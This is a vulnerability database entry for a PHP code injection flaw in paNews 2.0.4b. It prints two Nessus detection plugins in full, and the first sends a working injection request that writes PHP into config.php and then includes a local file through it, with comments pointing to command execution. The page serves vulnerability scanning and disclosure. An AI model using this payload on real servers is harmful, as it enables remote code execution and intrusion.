Vulnerabilities > CVE-2005-0647 - Remote Security vulnerability in PHP Arena Panews 2.0.4B

047910
CVSS 5.0 - MEDIUM
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
NONE
Integrity impact
PARTIAL
Availability impact
NONE
network
low complexity
php-arena
nessus
exploit available

Summary

admin_setup.php in paNews 2.0.4b allows remote attackers to inject arbitrary PHP code via the (1) $form[comments] or (2) $form[autoapprove] parameters, which are written to config.php.

Vulnerable Configurations

Part Description Count
Application
Php_Arena
1

Exploit-Db

descriptionpaNews 2.0b4 Remote Admin Creation SQL Injection Exploit. CVE-2005-0647. Webapps exploit for php platform
idEDB-ID:866
last seen2016-01-31
modified2005-03-08
published2005-03-08
reporterSilentium
sourcehttps://www.exploit-db.com/download/866/
titlepaNews 2.0b4 - Remote Admin Creation SQL Injection Exploit

Nessus

  • NASL familyCGI abuses
    NASL idPANEWS_ADMIN_SETUP_PHP.NASL
    descriptionThe remote host is running a version of paNews that fails to properly sanitize input passed to the script
    last seen2020-06-01
    modified2020-06-02
    plugin id17201
    published2005-02-23
    reporterThis script is Copyright (C) 2005-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/17201
    titlepaNews admin_setup.php Multiple Parameter Arbitrary PHP Code Injection
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    
    
    include("compat.inc");
    
    if (description) {
      script_id(17201);
      script_version("1.19");
      script_cve_id("CVE-2005-0647");
      script_bugtraq_id(12611);
    
      script_name(english:"paNews admin_setup.php Multiple Parameter Arbitrary PHP Code Injection");
     
     script_set_attribute(attribute:"synopsis", value:
    "The remote web server contains a PHP application that is affected by
    multiple flaws." );
     script_set_attribute(attribute:"description", value:
    "The remote host is running a version of paNews that fails to properly
    sanitize input passed to the script 'includes/admin_setup.php' and, in
    addition, allows writes by the web user to the directory 'includes'
    (not the default configuration).  Taken together, these flaws allow a
    remote attacker to run arbitrary code in the context of the user
    running the web service or to read arbitrary files on the target." );
     script_set_attribute(attribute:"see_also", value:"https://seclists.org/fulldisclosure/2005/Feb/523" );
     script_set_attribute(attribute:"solution", value:
    "Change the permissions on the 'includes/' directory so that the web
    user cannot write to it." );
     script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
     script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
     script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L");
     script_set_cvss3_temporal_vector("CVSS:3.0/E:P/RL:O/RC:C");
     script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
     script_set_attribute(attribute:"exploit_available", value:"false");
    
    
    
     script_set_attribute(attribute:"plugin_publication_date", value: "2005/02/23");
     script_set_attribute(attribute:"vuln_publication_date", value: "2005/03/02");
     script_cvs_date("Date: 2018/11/15 20:50:18");
    script_set_attribute(attribute:"plugin_type", value:"remote");
    script_end_attributes();
    
      script_summary(english:"Checks for remote code execution in admin_setup.php in paNews");
      script_category(ACT_ATTACK);
      script_copyright(english:"This script is Copyright (C) 2005-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");
      script_family(english:"CGI abuses");
     
      script_dependencies("panews_detect.nasl");
      script_exclude_keys("Settings/disable_cgi_scanning");
      script_require_ports("Services/www", 80);
      script_require_keys("www/PHP");
      exit(0);
    }
    
    include("global_settings.inc");
    include("misc_func.inc");
    include("http.inc");
    
    
    port = get_http_port(default:80);
    if (!can_host_php(port:port)) exit(0);
    
    
    # Test an install.
    install = get_kb_item("www/" + port + "/panews");
    if (isnull(install)) exit(0);
    matches = pregmatch(string:install, pattern:"^(.+) under (/.*)$");
    if (!isnull(matches)) {
      ver = matches[1];
      dir = data_protection::sanitize_user_paths(report_text:matches[2]);
    
      if (safe_checks()) {
        if (ver =~  "^([0-1]\.|2\.0b[0-4])$") {
          security_hole(port:port, extra: 
    "***** Nessus has determined the vulnerability exists on the target
    ***** simply by looking at the version number of paNews
    ***** installed there.
    ");
        }
      }
      else {
        # Create includes/config.php.
        r = http_send_recv3(method:"GET", port: port,
          # nb: with a slightly different URL, you can run programs on the target.
          item:dir + "/includes/admin_setup.php?access[]=admins&do=updatesets&form[comments]=$nst&form[autoapprove]=$nst&disvercheck=$nst&installed=$asd&showcopy=include($nst)");
        if (isnull(r)) exit(0);
    
        if (r[0] =~ "^HTTP/.* 200 OK") {
          # And now run it to include paNews Readme.txt in the top-level directory.
          r = http_send_recv3(method:"GET", port: port, 
            # nb: if PHP's allow_url_fopen is enabled, you could also open
            #     remote URLs with arbitrary PHP code.
            item:dir + "/includes/config.php?nst=../Readme.txt" );
          if (isnull(r)) exit(0);
          res = r[2];
          if ("[email protected]" >< res) {
             security_hole(port:port, extra:
    string(
     "*****     ", dir + "/includes/config.php\n",
     "***** in the webserver's document directory. This file should be\n",
     "***** deleted as soon as possible.\n\n"));
        }
        }
      }
    }
    
  • NASL familyCGI abuses
    NASL idPANEWS_INPUT_VULNS.NASL
    descriptionThe remote host is running a version of paNews that suffers from the following vulnerabilities: - SQL Injection Issue in the
    last seen2020-06-01
    modified2020-06-02
    plugin id17574
    published2005-03-18
    reporterThis script is Copyright (C) 2005-2018 Tenable Network Security, Inc.
    sourcehttps://www.tenable.com/plugins/nessus/17574
    titlepaNews 2.0.4b Multiple Input Validation Vulnerabilities
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    
    
    include("compat.inc");
    
    if (description) {
      script_id(17574);
      script_version("1.13");
    
      script_cve_id("CVE-2005-0646", "CVE-2005-0647");
      script_bugtraq_id(12687);
    
      script_name(english:"paNews 2.0.4b Multiple Input Validation Vulnerabilities");
     
     script_set_attribute(attribute:"synopsis", value:
    "The remote web server contains a PHP application that suffers from
    multiple flaws." );
     script_set_attribute(attribute:"description", value:
    "The remote host is running a version of paNews that suffers from the
    following vulnerabilities:
    
      - SQL Injection Issue in the 'login' method of includes/auth.php.
        A remote attacker can leverage this vulnerability to add 
        users with arbitrary privileges.
    
      - Local Script Injection Vulnerability in includes/admin_setup.php.
        A user defined to the system (see above) can inject arbitrary
        PHP code into paNews' config.php via the 'comments' and 
        'autapprove' parameters of the 'admin_setup.php'
        script." );
     script_set_attribute(attribute:"see_also", value:"http://www.kernelpanik.org/docs/kernelpanik/panews.txt" );
     script_set_attribute(attribute:"see_also", value:"https://seclists.org/bugtraq/2005/Mar/20" );
     script_set_attribute(attribute:"solution", value:
    "Unknown at this time." );
     script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
     script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
     script_set_attribute(attribute:"exploitability_ease", value:"No exploit is required");
     script_set_attribute(attribute:"exploit_available", value:"false");
     script_set_attribute(attribute:"plugin_publication_date", value: "2005/03/18");
     script_set_attribute(attribute:"vuln_publication_date", value: "2005/03/02");
     script_cvs_date("Date: 2018/11/15 20:50:18");
    script_set_attribute(attribute:"plugin_type", value:"remote");
    script_end_attributes();
    
     
      script_summary(english:"Detects input validation vulnerabilities in paNews");
      script_category(ACT_GATHER_INFO);
      script_copyright(english:"This script is Copyright (C) 2005-2018 Tenable Network Security, Inc.");
      script_family(english:"CGI abuses");
     
      script_dependencies("panews_detect.nasl");
      script_exclude_keys("Settings/disable_cgi_scanning");
      script_require_ports("Services/www", 80);
      script_require_keys("www/panews");
      exit(0);
    }
    
    include("global_settings.inc");
    include("misc_func.inc");
    include("http.inc");
    
    
    port = get_http_port(default:80);
    if (!can_host_php(port:port)) exit(0);
    
    
    # Test an install.
    install = get_kb_item(string("www/", port, "/panews"));
    if (isnull(install)) exit(0);
    matches = eregmatch(string:install, pattern:"^(.+) under (/.*)$");
    if (!isnull(matches)) {
      ver = matches[1];
    
      if (ver && ver =~  "^([0-1]\.|2\.0b[0-4])$")
      {
       security_hole(port);
       set_kb_item(name: 'www/'+port+'/SQLInjection', value: TRUE);
      }
    }